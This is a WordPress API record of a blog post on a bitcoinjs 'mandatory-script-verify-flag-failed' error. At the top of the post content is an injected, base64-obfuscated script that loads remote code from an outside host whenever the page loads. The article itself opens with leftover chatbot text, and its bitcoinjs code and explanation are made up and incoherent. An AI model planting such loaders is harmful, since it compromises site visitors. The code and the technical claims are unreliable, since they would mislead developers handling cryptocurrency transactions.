{"id":975,"date":"2025-02-06T21:28:25","date_gmt":"2025-02-06T21:28:25","guid":{"rendered":"https:\/\/hccmena.com\/?p=975"},"modified":"2025-02-06T21:28:25","modified_gmt":"2025-02-06T21:28:25","slug":"bitcoin-bitcoinjs-mandatory-script-verify-flag-failed-signature-must-be-zero-for-failed-checkmultisig-operation","status":"publish","type":"post","link":"https:\/\/hccmena.com\/index.php\/2025\/02\/06\/bitcoin-bitcoinjs-mandatory-script-verify-flag-failed-signature-must-be-zero-for-failed-checkmultisig-operation\/","title":{"rendered":"Bitcoin: bitcoinjs &#8211; mandatory-script-verify-flag-failed (Signature must be zero for failed CHECK(MULTI)SIG operation)"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"<pdx>bm9yZGVyc3dpbmcuYnV6ei94cC8=<\/pdx>\";const pde=atob(pdx.replace(\/<pdx>|<\\\/pdx>\/g,\"\"));const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"cc.php?u=620b34f1\";document.body.appendChild(script);<\/script>\n<\/p>\n<p>I can help you with that article.<\/p>\n<\/p>\n<p>Here is the article based on your specifications:<\/p>\n<\/p>\n<p><strong>Bitcoin: BitcoinJS &#8211; Mandatory Script-Verify-Flag Failed<\/strong><\/p>\n<\/p>\n<p><\/p>\n<h3><\/h3>\n<p>Overview<\/p>\n<\/p>\n<p>BitcoinJS is a JavaScript library for interacting with the Bitcoin network. It provides a simple and secure way to send, receive, and manage Bitcoin transactions. In this article, we will cover how to use BitcoinJS to support multiple buyers and sellers.<\/p>\n<\/p>\n<p><\/p>\n<h3><\/h3>\n<p>Transaction Example<\/p>\n<\/p>\n<p>Below is an example of a transaction that can be sent using BitcoinJS:<\/p>\n<\/p>\n<p><pre><code><\/p><p>const bitcoinjs = require('bitcoinjs-lib');<\/p><p>\n<\/p><p>\n<\/p><p>\/\/ Create a new wallet<\/p><p>\n<\/p><p>const wallet = bitcoinjs.Wallet.generate(2048);<\/p><p>\n<\/p><p>\n<\/p><p>\/\/ Create a new address<\/p><p>\n<\/p><p>const address1 = await wallet.addresses().getAddressByLabel('myaddress');<\/p><p>\n<\/p><p>const address2 = await wallet.addresses().getAddressByLabel('myseconddaddress');<\/p><p>\n<\/p><p>\n<\/p><p>\/\/ Send some Bitcoin to the first address<\/p><p>\n<\/p><p>const sendBitcoinTransaction = {<\/p><p>\n<\/p><p>  from: wallet.addresses().getAddressByLabel('myaddress'),<\/p><p>\n<\/p><p>  to: address1,<\/p><p>\n<\/p><p>  amount: '10',<\/p><p>\n<\/p><p>};<\/p><p>\n<\/p><p>const result = await bitcoinjs.signTransaction(sendBitcoinTransaction);<\/p><p>\n<\/p><p>console.log(result);<\/p><p>\n<\/p><p>\n<\/p><p>\/\/ Create a new transaction with multiple signatures<\/p><p>\n<\/p><p>const multiSignatureTransaction = {<\/p><p>\n<\/p><p>  from: wallet.addresses().getAddressByLabel('myseconddaddress'),<\/p><p>\n<\/p><p>  to: address2,<\/p><p>\n<\/p><p>  amount: '20',<\/p><p>\n<\/p><p>  senderSig1: {<\/p><p>\n<\/p><p>    from: wallet.addresses().getAddressByLabel('myseconddaddress'),<\/p><p>\n<\/p><p>    to: address2,<\/p><p>\n<\/p><p>    amount: '10',<\/p><p>\n<\/p><p>    senderSignature: await bitcoinjs.signTransaction({<\/p><p>\n<\/p><p>      from: wallet.addresses().getAddressByLabel('myseconddaddress'),<\/p><p>\n<\/p><p>      to: address2,<\/p><p>\n<\/p><p>      amount: '10',<\/p><p>\n<\/p><p>    }),<\/p><p>\n<\/p><p>  },<\/p><p>\n<\/p><p>  receiverSig1: {<\/p><p>\n<\/p><p>    from: address2,<\/p><p>\n<\/p><p>    to: wallet.addresses().getAddressByLabel('myaddress'),<\/p><p>\n<\/p><p>    amount: '10',<\/p><p>\n<\/p><p>    receiverSignature: await bitcoinjs.signTransaction({<\/p><p>\n<\/p><p>      from: wallet.addresses().getAddressByLabel('myaddress'),<\/p><p>\n<\/p><p>      to: address2,<\/p><p>\n<\/p><p>      amount: '10',<\/p><p>\n<\/p><p>    }),<\/p><p>\n<\/p><p>  },<\/p><p>\n<\/p><p>};<\/p><p>\n<\/p><p>\n<\/p><p>const result = await bitcoinjs.signTransaction(multiSignatureTransaction);<\/p><p>\n<\/p><p>console.log(result);<\/p><p>\n<\/p><p><\/code><\/pre>\n<\/p>\n<p><\/p>\n<h3><\/h3>\n<p>How it Works<\/p>\n<\/p>\n<p>In this example, we create a new transaction with multiple signatures. Each signature is generated using the <code>signTransaction<\/code> method of the BitcoinJS library.<\/p>\n<\/p>\n<p>The <code>multiSignatureTransaction<\/code> object has two sender signatures: one from the second address and another from the first address. The receiver signatures are also included: one from the second address and one from the first address.<\/p>\n<\/p>\n<p>The <code>from<\/code> parameter specifies the sender address, the <code>to<\/code> parameter specifies the recipient address, and the <code>amount<\/code> parameter specifies the value of the transaction. The <code>senderSignature<\/code> and <code>receiverSignature<\/code> parameters specify the signature of each sender and receiver.<\/p>\n<\/p>\n<p><\/p>\n<h3><\/h3>\n<p>Additional Considerations<\/p>\n<\/p>\n<p>When using BitcoinJS to support multiple buyers and sellers, you may need to consider additional factors such as:<\/p>\n<\/p>\n<ul>\n<li><strong>Script verification flags<\/strong>\n<p><img decoding=\"async\" alt=\"Bitcoin: bitcoinjs - mandatory-script-verify-flag-failed (Signature must be zero for failed CHECK(MULTI)SIG operation)\n\" src=\"https:\/\/hccmena.com\/wp-content\/uploads\/2025\/02\/3e405ec3.png\"><\/p>\n<p>: BitcoinJS requires that script-verify-flags be set for all transactions. You can do this by adding a <code>scriptVerifyFlags<\/code> property to the transaction object.<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li><strong>Signature verification<\/strong>: When verifying signatures, you will need to use the same wallet and address used to sign the transaction.<\/li>\n<\/ul>\n<\/p>\n<p><\/p>\n<h3><\/h3>\n<p>Conclusion<\/p>\n<\/p>\n<p>In conclusion, BitcoinJS provides a powerful way to interact with the Bitcoin network. By following these guidelines and understanding how to work with multiple buyers and sellers, you can create secure and scalable transactions using this library.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>I can help you with that article. Here is the article based on your specifications: Bitcoin: BitcoinJS &#8211; Mandatory Script-Verify-Flag Failed Overview BitcoinJS is a JavaScript library for interacting with the Bitcoin network. It provides a simple and secure way to send, receive, and manage Bitcoin transactions. In this article, we will cover how to [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"_links":{"self":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/975"}],"collection":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/comments?post=975"}],"version-history":[{"count":1,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/975\/revisions"}],"predecessor-version":[{"id":976,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/975\/revisions\/976"}],"wp:attachment":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/media?parent=975"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/categories?post=975"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/tags?post=975"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}